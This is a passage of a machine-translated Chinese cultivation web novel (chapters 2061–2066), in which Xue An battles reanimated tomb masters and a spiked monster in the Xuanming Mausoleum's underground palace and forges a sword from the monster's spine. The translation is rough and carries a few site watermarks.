    Speaking of this, Dou Yinan stepped forward and sneered: "Li Jingxing, when are you going to pretend like this?"

 Chapter 2061： Unscrupulous offspring

    Li Jingxing!


    If this name were heard by Linghujue''s gang of Jian Xiu, his face would definitely be shocked.


    Only Xue An sighed slightly as if he had expected this sentence.


    "Sure enough, you can see it!"


    "Haha, Li Jingxing, your disguise is really good, but you don''t want to think about who I am, how could I be deceived by this little trick?" Dou Yinan said smugly.


    Xue An just smiled slightly at this, and then her body changed, and Li Jingxing''s face appeared in a blink of an eye.


    Dou Yinan sneered when he saw it, "Li Jingxing, I really didn''t expect your life to be so hard. Not to mention the madman who won Jiansan, he couldn''t even deal with the foreign things that day!"


    "But you shouldn''t be here. I know your plan. You want to avenge your own disciples and get rid of those alien things. I guess that''s right!"


    Xue An smiled faintly, "So what?"


    "So what?" Dou Yinan grinned as if he had heard some joke.


    "Then I have to tell you now that all your thoughts are simply wishful thinking. Not only can you not avenge your revenge, you have to die here!"


    With that, the surrounding environment suddenly began to become brighter.


    It''s just that there is a strange breath in this brightness.


    Because in the darkness, huge mausoleums began to emerge, and these lights originated from the eternal light at the top of the tombstone.


    It is the tomb of Xuanming Mausoleum of the past dynasties.


    When all these huge tombs appeared, an unimaginable coercion raged across the entire underground palace.


    Under the blessing of this coercive force, Dou Yin''an''s momentum is also rising.


    The aura on Xue An''s body was like a candle in the wind, teetering from being suppressed.


    Dou Yinan Jiejie laughed strangely, "Li Jingxing, is it not surprising to you, why haven''t you seen your Jianxiu men until now?"


    Xue An remained silent, and it was only a moment later that he said softly: "This underground palace seems to be one, but in fact many worlds are superimposed on each other, like bubbles connected to each other. I am here now, and they may be in another. In a connected but unconnected world, am I right?"


    "Hahahahahahaha!" Dou Yinan laughed wildly, "As expected, he is the master of the famous sword palace, he has good eyesight, that''s right! All of your men have been locked in another world by me, and you know Where is it here?"


    Before Xue An could answer, Dou Yinan sneered and said, "This is where the real underground palace is. Those who are buried in the tombs are the tombs of my Xuanming Mausoleum, and you can die here. It is also your great honor!"


    "You are so sure, you can win me?" Xue An said with a smile, and at the same time the sword intent began to boil around his body.


    Dou Yinan just sneered at this, "Yes, as the lord of the sword palace, your strength should not be inferior to me. In addition, you are a sword repairman. Below the same level, I am very good. It may not be your opponent, but don''t forget, this is the place where my tomb masters buried their bones!"


    "Do you really think I will fight with you on my own? You think too much. The reason why I put you into this world is to let the past cemetery masters deal with you. So next, I hope you can have a good time , Hahahaha!"


    Dou Yinan laughed wildly, and at the same time his body began to fade a little bit.


    At this moment, the tombs trembled, and the faint black energy began to escape.


    Xue looked at him quietly, until he was about to disappear completely before Xue An just said softly.


    "Don''t you feel ashamed of Xuanmingling''s past cemetery masters?"


    Dou Yinan sneered, "I am ashamed? Why should I be ashamed? Since these old things have fallen, their bones are naturally useless, and now I use waste, they should be grateful to me!"


    "So enjoy it! Hahahahaha!"


    The laughter suddenly stopped, and Dou Yinan''s figure disappeared.


    And at the moment when he completely disappeared, these tombs began to collapse one by one, and then I saw that there were countless black energy condensed Yin soldiers and ghosts that would charge towards Xue An.


    Such a horrible scene is enough to make the average strong person cold.


    But Xue An was not moved at all, on the contrary, a meaningful smile appeared in his eyes, and then he whispered softly.


    "With such unscrupulous descendants, it''s no wonder that you will wake up from the coffin angrily!"


    "Well, then I will do something good today, let''s save you guys first!"


    With that, a bright red lotus appeared between Xue An''s eyebrows.


    Immediately afterwards, there was a fire blasting into the sky above the red lotus. Where it was enveloped, these rushing Yin Soldiers and Ghosts did not even hum, they were directly made into nothingness.


    But at this moment, among the tombs, a thin body staggered out.


    Some of these corpses have even turned into white bones, but they are still awe-inspiring, possessing the majesty of a world of wandering.


    It is the tomb master of Xuanming Tomb.


    It''s just that these top powerhouses who once dominated the heavens have already fallen, and even their gods have dispersed.


    But such a corpse suddenly possessed vitality at this moment.


    A faint ghost fire was burning in the pair of eye sockets, staring at Xue An coldly and mercilessly.


    Xue An sneered slightly, and then stepped forward, "Come on, get rid of you guys early, so I can do my business!"


    boom!


    Seemingly angered by Xue An''s provocation, these zombie-like mausoleums of the past roared towards Xue An suddenly.


    The speed is so fast that it has surpassed the general immortal king powerhouse, and is infinitely close to the existence of the quasi immortal emperor.


    The point is that this is not a single bone, but a total of twenty or thirty.


    But Xue An lowered his eyes at this moment and said coldly: "It''s the power of the outside world again! Dou Yinan, are you selling all your ancestral graves to the evil things outside the sky?"


    At the end of the speech, a bright sword light that contained the red lotus karma fire flashed, directly cutting the zombie in front of it in half.


    boom!


    The bones instantly turned into fly ash and disappeared.


    But the rest of the zombies didn''t have the slightest feeling, and they still rushed forward.


    In the blink of an eye, Xue An was overwhelmed by the powerful coercion formed by these zombies.


    But the next second, I saw a bright red light rising from it, killing a zombie.


    And that was when Xue An was in the underground palace of the Xuanming Mausoleum, fighting fiercely with the zombies transformed by the mausoleum.


    Outside the underground palace, Dou Yinan stood in front of the Xuanmen, his expression gloomy and uncertain, as if thinking about something.


    After a while, he said in a deep voice: "Send my order to seal off the ground within a thousand miles of the underground palace. If anyone dares to enter, kill them!"

 Chapter 2062： Unlock the shackles

    In an instant, the entire Xuanming Mausoleum moved after hearing the wind, and completely sealed off the underground palace and its vicinity.


    However, seeing countless strong people hiding their bodies and waiting in full battle, and having those strong spiritual minds sealed off the void, they have truly reached the point where they are inflexible and unable to fly.


    After the supervisor had done all this, Dou Yinan completely let go of his mind and sneered at the underground palace.


    "Li Jingxing, I blame you for not coming here to die. After you die, your sword palace will be mine hahahahahaha!"


    Dou Yinan laughed and left. In his heart, Xue An had already been sentenced to death.


    Because no one can get rid of the siege of the masters of Xuanming tombs in the past, even the master of the sword palace, Li Jingxing.


    So now, he can be said to sit back and relax, just waiting for the death of the other party, and immediately led his men to attack the sword palace and completely take him back to himself.


    When I thought that the sword palace, which was regarded as a top power among the heavens, would be used by him, this Dou Yinan swept away the recent depression, and the haze that had been in his heart for a long time because of Xue An''s rebirth was wiped out. , The whole person is refreshed.


    As for the fall of the foreign things that day, he intentionally or unintentionally ignored it.


    After all, it was originally a relationship of mutual use. If you die, you will die!


    At the same time, in the underground palace of the Xuanming Mausoleum, the fierce battle continued.


    puff!


    A sword intent directly penetrated a zombie''s chest, pierced out from the back, and brought out a blood line.


    But it was such a wound that was absolutely fatal to ordinary people, but it only caused the zombie to take a half step back, and then rushed up again.


    And other zombies, like tarsus maggots, circulated beside Xue An, attacking from time to time to restrain Xue An''s attention.


    That''s right!


    These zombies actually knew to cooperate with each other.


    When attacking, he has a degree of advance and retreat, very well organized.


    If you change to someone else, facing these weird and powerful zombies, you will probably already panic.


    Only Xue Ancheng was unhappy, and he didn''t even have a trace of superfluous expressions. He just saw tricks and played tricks with these zombies.


    Time passed by every minute and every second.


    Xue An seemed to be tireless, with sword aura going back and forth, constantly beating on these zombies.


    These zombies were originally dressed in funeral clothes, but by this time they had all been cut to pieces, revealing their thin bodies, looking very embarrassed.


    at last.


    The movements of these zombies became slower and slower, and their reactions were not as good as before, as if they were tired.


    Suddenly!


    One of the zombie''s movements was a little slower, revealing a trace of flaws, and then Xue An''s sword arrived.


    puff!


    A sword light inserted in the zombie''s mouth, shot out from the back of the head, and exploded the dry and boring brain into dust.


    The zombie''s figure shook a few times, and then the ghost fire in its eye sockets gradually extinguished, and finally fell to the ground, turning into a piece of withered bones.


    At this time, the faces of the other zombies all showed horror.


    At this time, Xue An slowly raised his head, and as far as his eyes were concerned, these zombies had actually subconsciously stepped back.


    Xue An sneered coldly, "You have also seen that if you continue to fight like this, you will all have to die, so how about let us make a deal?"


    Xue An''s words echoed in this empty underground palace.


    These zombies stood silently in place, seeming to be thinking about what Xue An said.


    Xue An was not in a hurry, but simply said indifferently: "I understand very well that you are full of resentment for Dou Yinan, who has disturbed your sleep and deceived your ancestors. It is only because of the power of the outside world that you have to He worked hard, am I right?"


    The gang of zombies looked at each other, and then saw that one of them had the most complete appearance. Obviously, the zombie who had not been dead for too long came forward.


    He didn''t speak, because zombies are zombies, and the organs that can speak have already rotted away.


    He just looked at Xue An, and then passed a spiritual thought.


    "Can you break the shackles for us?"


    Xue An smiled, then gently shook his head.


    The faint ghost fire in the eyes of these zombies dimmed instantly.


    "Then what are you talking about nonsense? Continue to come!" The talking zombie was even more angry and wanted to do it again.


    Xue An waved his hand, "Don''t worry, I can''t do it myself, but it doesn''t mean there is no way!"


    "Huh? What way?" the zombie stopped his hand and asked.


    "I have detected it. What you are in is something similar to gu poison. This kind of thing directly affects your head, so you will come back from the dead, and at the same time become slain by others. machine!"


    These zombies were silent, because what Xue An said was true.


    Xue An went on to say: "This kind of gu poison is very strange, obviously it comes from something outside of the sky, and ordinary means can''t crack it, nor can I, but I have two ways to get around it!"


    "What way?" The zombie asked hopefully.


    For the existence of those who had been powerless before their lives, although it is said that they are now resurrected from the dead, this resurrection is extremely humiliating, and they even have to listen to the words of a younger generation.


    And he has to become a person, not a ghost or a ghost.


    This is unbearable for people with a little self-esteem, not to mention these powerful people.


    Therefore, they desperately want to untie the shackles imposed on their bodies.


    Xue An smiled faintly, "The method is very simple, or kill all of you, by then, you are all dead, naturally there is no shackles, as for another method..."


    A flash of cold light flashed in Xue An''s eyes, "That is to kill the person who gave orders to you, as long as the other party dies, you can also unlock the shackles!"


    As soon as these words were said, these zombies were a commotion.


    But soon, the talking zombie shook his head helplessly, "I know what you want to say, in fact, we want to kill this shameless offspring more than you, but now we are trapped in the underground palace, unless from Open it outside, otherwise we won''t be able to get out!"


    When the rest of the zombies heard this, the ghost fire in their eyes became more and more dimmed.


    Because as the masters of the Xuanming Mausoleum, knows the power of this Xuanming Mausoleum better than anyone else.


    In fact, this place is simply a specially transformed world.


    In this world, no one else has the right to open it unless he masters the tomb master of Xuanming Tomb.


    Even if you are a fairy emperor, you can''t.


    That''s why this underground palace became the burial place for the tombs of the past dynasties, because it was safe here.


    But what I never expected is that it is hard to defend against the thief, but they are finally betrayed by Dou Yinan, and this is the ending.


    Xue An only smiled faintly when he heard the words, "What you said is right or wrong. If I only rely on my current strength, I won''t be able to open this underground palace, but what if someone else helps?"


    "Other people help? Who else?" the zombie asked in astonishment.


    "Naturally... the person I brought in!"


    With that, Xue An stepped forward, shook his palms into fists, and blasted directly on the void in front of him.

 Chapter 2063： Sword repair desperate situation

    oom!


    The underground palace shook, the void shook, and ripples appeared.


    "Are you trying to smash this bubble and enter other worlds?" The zombie exclaimed, then shook his head.


    "It''s useless, it''s impossible to do it with just this little power, because the history of this underground palace is much longer than our Xuanming Mausoleum, and it is very mysterious. There are layers of natural worlds inside, which are extremely strong."


    really.


    The ripples began to dissipate quickly, and everything was returning to calm.


    But when Xue An saw this, Guanghua flashed in his eyes, and then his other hand blasted out, and it hit the position of the previous punch.


    Boom!


    This time the momentum was even more terrifying than last time, and the ripples of the void set off a stormy sea.


    Faintly, one could still hear a crackling sound from the depths of the void, as if something broke.


    As soon as this sound came out, all these zombies were shocked.


    A faint smile appeared at the corner of Xue An''s mouth.


    "Isn''t it that strong?"


    With that, Xue An raised his hand and threw another punch.


    Boom!


    This time the cracking sound is clearly audible, and the darkness of the void can be seen to be distorted.


    This is a precursor to the impending collapse of space.


    At the same time, Xue An took a deep breath and slowly said: "If you can''t solve the problem with one punch, then add another punch!"


    Then there was another punch.


    Bang!


    This time, there was an overwhelmed groan from the depths of the void, and then it broke apart.


    Void turbulence swept through, and those with less strength would be wiped out on the spot.


    But Xue An didn''t change his face, and walked directly into the big hole that was blasted out.


    The gang of zombies looked at each other, and then followed them and walked in.


    now.


    This group of sword repairers is also experiencing a great crisis.


    Because they didn''t wait for Xue An to come, instead they waited for countless monsters rushing out of the darkness.


    These monsters are weird in shape, but each has good strength, especially when they are gathered together, it is extremely terrifying.


    In the beginning, these swordsmen were caught off guard and almost suffered a big loss.


    But fortunately, Linghujue, Jane Zaixin, and others reacted quickly. With full defense, the situation quickly stabilized.


    However, the situation also fell into a stalemate.


    Because these sword repairs cannot help these monsters, these monsters can also help these sword repairs.


    puff!


    Three sword lights flashed past, directly slicing several monsters lurking over in half.


    "Good swordsmanship!" Linghu couldn''t help but clap and applaud, and said with a high spirit: "Sure enough, they deserve to be the feet of Li Jianzhu, these three swords are really beautiful!"


    Jane smiled slightly in her heart. Before she could speak, she heard a sharp roar from the darkness in the distance.


    Then these monsters that were facing Jianxiu began to retreat.


    "What''s the matter? Are these beasts afraid of being killed by us, and are going to retreat?" Ye Kongming couldn''t help but be astonished.


    But Ye Bufan on the side looked solemn, his eyes staring into the darkness.


    "Brother Linghu, are you aware of it?"


    Linghujue''s complexion also became very solemn, and nodded, "Well, very strong aura."


    Ye Bufan let out a sigh of relief, "It seems that these monsters'' attacks just now are just a test, and the next thing is the highlight!"


    After speaking, Ye Bufan shouted loudly: "Everyone is ready. These monsters are not retreating, but are preparing for the next wave of attacks!"


    at the same time.


    These sword repairers also felt something wrong in the atmosphere.


    In the darkness, it seemed that a giant was staring at him coldly.


    This feeling is creepy.


    Jian Zaixin said in a deep voice: "Sword Palace disciple listen to the order, get ready for the first wave!"


    With an order, these disciples of Jian Palace immediately changed their formation and stood in front of the team.


    And that is at this moment.


    In the darkness, a giant monster slowly walked out.


    This is a 100-meter tall, covered with patterns, and at first glance it looks like a leopard-like monster.


    On his back, there are countless thorns growing densely.


    The tip of the spike exudes a faint blue luster, obviously quenched with poison.


    When this monster completely appeared in front of everyone, the evil and terrifying power made the scalp numb.


    "Attack!" Jane immediately shouted without hesitation.


    She knows very well that in a confrontation between the two armies, only those who strike first can take the lead.


    In an instant, countless sword lights burst out, gathered in mid-air, and slashed towards the monster.


    But in the face of the combined force of the sword palace disciple, a mocking color appeared in the eyes of this monster, and then a thorn behind him instantly disappeared, and when it reappears, it has come to the front of the sword light.


    Boom!


    The two collided, and the spikes shattered directly, but they also broke the sword palace disciple''s combined blow.


    Immediately afterwards, the monster looked up to the sky and laughed strangely, and then the spikes behind him flew out, densely suspended in the air, and the tip pointed directly at the sword repairs.


    "No, disperse quickly!" Linghu Jue''s expression changed, and immediately screamed.


    But before these sword repairs could move, the monster waved down.


    The spikes went straight down like a torrent, rushing towards these sword repairs.


    "It''s over!" Linghu shouted in despair.


    In fact, with his strength, there is time to escape, but he knows that if he escapes, all these swordsmen who are not as strong as his own will have to die.


    Even if it was to save these sword repairs, he couldn''t avoid it.


    Thinking of this, Linghujue''s eyes showed determination, then he roared and waved his hand sharply.


    An emerald light flew straight up, and then spread out in the air with a faint fragrance of wine.


    It was the wine gourd that Linghu never left.


    Speaking of which, this wine gourd can be regarded as an extraordinary treasure. It can not only hold wine, but also transform into a sword.


    But at this moment, Linghujue did not hesitate to throw this piece of treasure that he regarded as his life, and unfolded his figure to block the flow of swords.


    Ding Ding Ding.


    With a intensive sound, the wine gourd actually blocked these spikes.


    But only a moment later, the brilliance of this wine gourd began to dim at a speed visible to the naked eye, and cracks appeared in UU reading .


    But at this moment, I saw a sword light rushing forward, blocking most of the attacks for the wine gourd.


    Linghu Jue suddenly turned his head, and the old man Ye Bufan smiled slightly.


    "Although the old man is lowly in strength, you can''t let Brother Linghu face such monsters alone!"


    A touch of warmth appeared in Linghujue''s eyes.


    But only supporting the moment of the scene, the sword light of Ye Bufan was shattered.


    puff!


    The old man washing sword Ye Bufan spit out a big mouthful of blood, and then said with a wry smile on his face: "I am old, it''s useless!"


    But as soon as the voice fell, I saw a sword light rising into the sky, the target... all were the monsters in the sky.


    Looking at this scene, Ye Bufan and Linghu Jue were all a little silly.


    Jane Zaixin said indifferently, "You are Jian Xiu, aren''t we?"

 Chapter 2064： Crush evil

    "Yes, as a sword repairman, I naturally can''t let these monsters go crazy!" everyone shouted in unison.


    Linghu Jue felt that his nose was sour, and he focused on his head: "If this is the case, then everyone will work together to destroy this demon!"


    "Here!"


    With an order, the sword repairmen moved after hearing the wind and began to deal with the monster.


    Although everyone has rallied all their strength and displayed it without reservation.


    However, the strength of this monster is really too tyrannical. The siege of the people only caused it to suffer some skin injuries, and it did not hurt the root at all.


    Not only that, because the sword repairs kept harassing, this monster also began to become irritable.


    It suddenly roared, and then the pattern on its body suddenly brightened, forming a strange magic circle.


    When this magic circle took shape, everyone felt that their bodies sank and their own cultivation was actually suppressed to the bottom.


    Someone with less strength almost fell from the air.


    "No, it is controlling the surroundings to suppress us, quickly get out of the way!" Ye Bufan yelled, his face full of anxiety.


    But it was too late.


    I saw this monster let out a few grinning laughs, and then with a big wave of his hand, the spikes regrouped on his hand and blasted toward the ailing crowd.


    "It''s over!" Ye Bufan whispered in despair, and then closed his eyes.


    Not only him, but many sword repairmen are also full of despair, thinking that this time they must definitely die.


    But at this moment, the void not far from the monster''s side suddenly rippled.


    Immediately afterwards, the void exploded, and the huge power overturned the monster.


    The audience was shocked.


    Everyone was unclear, so they all looked up.


    At the same time, a calm voice came from the blasted hole.


    "After searching so many worlds one after another, I finally found it!"


    He said, but saw Xue An walked out of the empty hole with his head high, and came in front of everyone.


    When he saw his appearance, there was a violent commotion in the audience.


    "Huh! Your lord really arrived in time!" Linghu exhaled.


    "Haha, I know that adults will never leave us alone!" Ye Bufan was also overjoyed.


    At the same time, behind Xue An, the zombies began to appear one by one.


    The existence of these people, neither ghosts nor ghosts, made the audience shocked.


    Xue An just smiled faintly, "Don''t be afraid, they are the thugs I just found!"


    With that, Xue An raised his head, narrowed his eyes, and stared coldly at the monster in the distance.


    now.


    This monster also just woke up from the explosion just now, but seeing the confusion in his eyes gradually faded, it was replaced by infinite anger.


    "Ho Ho Ho Ho!" the monster roared, and then a series of spikes quickly formed in front of him.


    Not only that, but the patterns on this monster''s body became more and more brilliant, and there was only one goal, and that was Xue An.


    But in the face of these movements, Xue An didn''t even lift his eyelids, but said indifferently: "Fortunately, I move faster, otherwise these people were harmed by your beast?"


    This time Xue An didn''t deliberately delay it to the last moment to be handsome. In fact, Xue An didn''t delay even a moment, but instead fought all the way.


    From the world where the tomb masters of the past were buried, Xue An fisted into the void and entered another world.


    But there were no Jianxiu and others in that bubble world, so Xue An punched the void again and entered the next world one after another.


    If you look at this underground palace from a bird''s-eye view, you will see Xue An blasting from the easternmost end of the underground palace world to the westernmost end with an almost domineering attitude. Wherever he passed, the void shattered one after another, leaving only one Two inter-connected space-time channels.


    It was at this speed that Xue An was able to catch up.


    And if it is a step late, the sword repairs in front of him may be met by accident.


    Therefore, Xue An was naturally full of anger and killing intent towards this monster.


    It may also have felt the killing intent from Xue An, the monster suddenly roared, and then the spikes around his body rushed towards Xue An.


    The speed was so fast that he almost rushed to Xue An with his fingers.


    But in the next instant, Xue An''s figure disappeared.


    That''s right!


    It just disappeared completely.


    As if Xue An hadn''t existed there at all, these spikes passed straight through and threw a blank.


    The monster couldn''t help but froze, obviously he didn''t expect this move.


    But at this moment, a slender and slender hand that contained supreme power suddenly appeared in the void on one side of his head.


    He grasped the fist in his hand, and then blasted directly on the monster''s head at an incredible speed.


    Boom!


    There was a loud noise.


    First, the monster''s head was smashed by this fist and flew out, and then it drove its entire body to fly out together.


    "Ah ah ah ah ah!"


    The monster screamed, its huge body like a broken sandbag, and was blasted far away.


    After landing, look at this monster again, the head has been smashed in, and brown blood is flowing out along the wound.


    But this is just the beginning.


    I saw Xue An sneered: "Does that guy Dou Yinan think that he can sit back and relax by looking for an evil thing like you to guard the underground palace? He is so naive!"


    With the voice, Xue An''s figure disappeared again, and then the monster was bombarded out of the spot again before he even had time to react.


    While in the midair, the monster howled miserably, and at the same time shot all around with spikes frantically, trying to stop Xue An.


    But everything is in vain.


    This time before it landed, Xue An bullied himself again and appeared above the monster''s head.


    The monster raised his head, his mouth opened wide, and his face was full of frozen fear.


    Xue An''s eyes were as cold as ice, and then raised his hands and slapped them straight down.


    Boom!


    The loud noise this time is louder than before.


    Then I saw that the monster was smashed down from the air so fast that it even made a sharp whistle.


    Bang!


    The extremely hard ground of the underground palace was smashed into a big hole by this monster. The intensity was so great that the whole underground palace trembled.


    Everyone looked silly.


    You know that all the sword repairs that this monster pressed just now can hardly look up.


    But when he arrived in front of Xue An, he didn''t even have the power to fight back. It was like a meat sandbag, and it was solved by a few simple tricks.


    The disparity in strength implied in this makes everyone awe.


    Xue An didn''t have any expressions, as if he had shot a mosquito to death, he didn''t even blink his eyes.


    He just stood in the air with his hands on his back, his face indifferently overlooking the big hole on the ground.


    He knew very well that this monster would never die so easily.

 Chapter 2065： Im not interested in your flesh and blood

    eally.


    I saw a tremor in the big hole on the ground, and then the monster crawled out of it with difficulty.


    It''s just that at this time, it no longer has the arrogance before, on the contrary it has become extremely embarrassed.


    The beautiful pattern on his body was already dimmed, and the spikes on his back were all broken off, especially his head, which was dented everywhere.


    Even its hands, feet, and limbs have all been folded into several sections, and it only relies on the strength of muscles to crawl out of the pit with difficulty.


    In short, this monster is now miserable like a toy doll that has been broken.


    Xue An suddenly laughed, and the laughter was full of playfulness.


    "Can''t tell, your vitality is quite tenacious!"


    With that, Xue An''s eyes flashed brightly and appeared in front of the monster in an instant.


    After feeling Xue An''s breath, this monster almost rose up and retreated madly.


    But in the next second, all its movements were frozen.


    Because a warm hand did not know when to gently stroke its forehead.


    The muscles of this monster trembled slightly, and then slowly raised its head, looking at Xue An''s eyes full of infinite panic and despair.


    That''s right!


    This monster was frightened to despair by Xue An.


    A body of a hundred meters long, although Xue An was violently beaten by Xue An and its size had shrunk severely, there were also monsters as large as ten meters.


    At this moment, Xue An was so frightened that he didn''t even dare to move. He just lay there obediently, letting Xue An stroke his head, and didn''t even dare to breathe during the whole process.


    Such a picture is full of magical sense, and it makes all the sword repairmen who watch this scene stunned.


    But soon, the eyes of some young Jian Xiu burst into strange brilliance, and the eyes that looked at Xue An were also full of worship.


    What is awesome?


    It''s amazing to take a monster that can''t be surrendered and even dare not breathe.


    At the same time, Xue An''s palm slowly stopped on the forehead of this monster, his fingers gently tapped on its Tianling cover, and then smiled.


    "Are you scared? Want to beg me for your life?"


    The monster looked at Xue An, his mouth opened, and then said in a very hoarse and weird voice.


    "Yes, honorable lord, I know that I have offended you. I am willing to leave behind nine tenths of my soul and body. I only ask you to forgive me this time!"


    At the beginning, this monster''s speech was very dry and blunt, but the more it spoke, the smoother it became, and it seemed to be no different from ordinary people in the back.


    This also shows the high IQ of this monster.


    Everyone present looked at each other, because no one thought that such a monster could actually speak.


    "It''s easy to let me spare you, but you need to tell me how you got here and... who sent you here!"


    The monster didn''t even hesitate, and said immediately.


    "I entered this world from a space-time rift. As for who sent me... I''m sorry, sir, because of the rules, I can''t mention its name, or even its appearance. !"


    The remarks made by this monster are the same as those of the monster that was parasitic on Mu Hongxi before.


    They can''t remember who is in the heavens who sent themselves.


    This shows that before they enter the heavens, their memories must have been refined.


    This is worth pondering.


    What is it that is so afraid of others to know its existence?


    Xue An was lost in thought.


    This monster didn''t dare to say a word, because Xue An''s hand was now attached to its heavenly spirit cover, and it was completely destroyed by a slight movement.


    In order to survive, it just knelt down on the ground obediently, and even a blunt smile appeared on its face.


    After a long time, Xue An woke up from his contemplation, and then lowered his head and glanced at the monster.


    "Although I also want to let you go, I am sorry, as a foreigner, you must die!"


    When the words fell, Xue An''s palm suddenly pressed down.


    The monster let out a desperate roar, and then his muscles gathered above his head like flowing water, trying to resist Xue An''s pressing palm.


    Then it yelled in an eager voice: "Honorable lord, as long as you can let me go, I can leave all the flesh and blood behind, as long as you spare me a trace of divine thought, please..."


    But Xue An was not moved at all, "I am not interested in your flesh and blood!"


    As soon as the voice fell, a white light suddenly appeared in Xue An''s palm.


    The white light pierced straight down, like a sharp and unparalleled thorn, directly piercing the muscles of this monster, and then pierced through the sky spirit cover, pierced from the chest and abdomen, and nailed it firmly to the ground.


    Brown blood snaked out, and this monster stared at Xue An, his eyes full of resentment and resentment.


    But it was already unable to move, because Xue An''s blow directly shattered almost all the bones on its body.


    Only the muscles tremble slightly because of the remaining nerve impulses.


    But soon, the tremor disappeared.


    Because Xue An��s hand suddenly pressed on the back of the monster��s neck, and said lightly: "I am not interested in your flesh and blood, but the bones are good. Since it is about to die, it is a waste of your thing to stay here. Just give it to me!"


    As he said, Xue An''s palm suddenly dropped.


    puff!


    The finger was inserted deeply into the back of the monster, and then he held it firmly and pulled it out.


    The spine of this monster was pulled out of his body by Xue Ansheng.


    This monster disappeared completely.


    The **** spine that Xue An held in his hand began to glow with a faint silver light.


    Then, a scene that made everyone stunned appeared.


    I saw all the joints on this spine began to automatically combine and grow together quickly.


    In the blink of an eye, this spine has grown into a sharp blade, and exudes a powerful sword.


    "Fuck, can you still play like this?" The night sky in the crowd couldn''t help exclaiming.


    At this time, UU reading www. uukanshu. com Xue An raised the sword in his hand and looked at it several times before nodding in satisfaction.


    Because this long sword perfectly meets his requirements no matter the material or power.


    Since Mo Wang''an was shattered, Xue An has not had a weapon in his hand, and the long sword formed by this spine can be used.


    "Since it is transformed by the spine of the evil thing outside the sky, then I will call you...Tianzhu!" Xue An said lightly.


    Words fall.


    The sword body trembled slightly, and then two ancient seal characters appeared on the jaw of the long sword.


    Tenchu!


    After finishing all this, Xue An turned his head to look at all the sword repairs, and said lightly.


    "Now, we have to seal the gap in the underground palace first, and then... kill it!"


    All sword repairs took the lead.


    "Here!"

 Chapter 2066： Void Heart

    As the past generations of the Xuanming Tombs have said, this underground palace does not come from or who built it.


    Many worlds are naturally generated, like foam, squeezed together layer by layer.


    And Xue An came all the way from the void, and found that there was no passage to the sky in the world he passed.


    From this it can be seen that the passage leading to the outer world is probably hidden in this world.


    At this point, the brilliance flashed in Xue An''s eyes, and then the majestic divine thought surged out, but the whole world was covered with his fingers.


    Such a powerful mind, and the top-level control like an arm''s finger, shocked the zombies transformed by the tomb masters of the past dynasties, and then carefully stepped back a few steps to get away from Xue An.


    This scene was also seen by this gang of Jian Xiu.


    In fact, many people have been very interested in these zombies from the beginning.


    Especially those who are younger, have a look of curiosity.


    Ye Kongming couldn''t help but ask his grandfather in a low voice, "Grandpa, what are these thugs who came with Master Xue? Why do they look weird?"


    Ye Bufan slowly let out a sigh of relief, then took a deep look at these zombies, his expression turned very serious.


    "If I''m not mistaken, these people should all be the tomb masters of Xuan Ming Tomb!"


    "What? You mean...they are all dead?"


    Ye Bufan nodded, "Yes!"


    "Then why are they still moving?" Night Sky Ming was stunned.


    "Is this... Naturally, I have to ask Master Xue!"


    Speaking of this, Ye Bufan couldn''t help but glance at Xue An, who was searching for the omissions of the entire world with divine consciousness in the distance, and his eyes were full of consternation.


    Because he really couldn''t imagine how Xue An persuaded the tomb masters of these Xuanming Tombs, and even made them obediently use them for themselves, and even turned his head to deal with Xuanming Tomb.


    Could it be said that Master Xue defeated all these tomb masters of the past with his own power?


    This thought made Ye Bufan Ji Lingling shudder, and the look in Xue An''s eyes became more and more awed.


    Because if this is true, then it clearly shows that Xue An''s strength has reached an incredible realm.


    Could it be... he has returned to the Throne of Immortal Venerable?


    Just as Ye Bufan was standing here, Xue An suddenly opened his eyes and shouted coldly: "Follow me!"


    After that, he turned into a streamer and flew to the depths of the darkness, and the sword repairmen naturally followed behind.


    The gang of zombies looked at each other, and then chased them all the way behind.


    Although countless worlds have naturally formed in the underground palace, the scale is naturally impossible to compare with the real world.


    In fact, Xue An came all the way broken, and the largest underground palace world he had ever seen was similar to the moon.


    For Xue An, this distance was only instantaneous.


    But I never expected that when Xue An led everyone to the depths this time, it took enough time for a cup of tea.


    And even after flying for so long, there is still nothing in front of him.


    At this time, even the sword repairmen noticed something strange.


    "What''s the matter? How do I feel that the flying speed is getting slower?" Ye Kongming said in a bit of astonishment.


    Not only him, but many sword repairmen have discovered this phenomenon.


    "It''s not that the speed has slowed down, but the surrounding space is becoming stagnant." Ye Bufan said softly with a solemn face.


    Linghu Jue heard the words and couldn''t help but nodded, "Yes, I can feel that we are as if we are in a ball of glue, and the surrounding space is slowing down our speed!"


    And when everyone was in a commotion, Xue An was sinking, without saying a word, still flying to the depths.


    Because he could feel that when he was searching, the strange nihility land captured by Divine Mind was ahead.


    But as the flight progressed, this feeling of stagnation from the surroundings became stronger, and even slowed everyone''s speed by at least 30%.


    Just as everyone felt more and more struggling, Xue An suddenly gave a soft drink, and there was a sword light across his eyebrows.


    puff!


    This sword light was like thunder, blasting up most of the void.


    Everyone felt that their chests went smoothly, and the previous feeling of stagnation and oppression alleviated a lot.


    But this was just the beginning, and saw the sword light pouring down like a nine-day galaxy.


    Rumble!


    The darkness in front of me was like a huge curtain, which was directly split into two halves and then turned into nothing.


    The scene that appeared in front of everyone afterwards shocked everyone.


    I saw many blood vessels of varying thicknesses growing in a dark red void.


    These blood vessels were deeply buried in the void, as if they were constantly absorbing something, and transporting that little brilliance to the center of the core.


    And the core of this mass is beating slightly with the transportation of blood, just like... a heart.


    "This...what''s going on? How can a heart appear in the void?" Someone muttered to himself in astonishment.


    And in the deep-seated eye sockets of these zombies, there was a strong color of fear.


    Xue An stood in front of the dark red void, staring at the heart with cold eyes.


    Although they are far apart, he can still feel the evil power contained in this heart.


    And every time it beats, that evil force will increase with it.


    This is enough to make the scalp numb.


    Because no one knows what it will become in the end.


    But one thing is certain, this should be the gateway to the sky.


    Suddenly.


    Seeing Xue An took a deep breath and took a step forward, then the Tianzhu Sword in his hand was cut straight down.


    Sen Leng''s sword intent fell from the sky, as if to cut the entire world in half.


    But it was such a powerful sword, but it couldn''t shake this heart.


    Because at the moment Jianyi had just landed in the dark red void, this heart trembled slightly.


    Then countless blood vessels were pulled out of the void, swiped a few times like a long whip, and drew towards the sword light.


    Bang!


    Although the sword is strong , it was still drawn to smash under this blow.


    Not only that, these blood vessels were like tentacles, and the teeth and claws flung towards Xue An.


    Under the frontal harassment, many blood vessels quietly appeared behind Xue An, trying to sneak attack.


    "God, this heart is wise!" Ye Kong couldn''t help exclaiming when he saw it.


    The hearts of all Jianxiu also raised their throats.


    Because no one has seen such a strange existence.


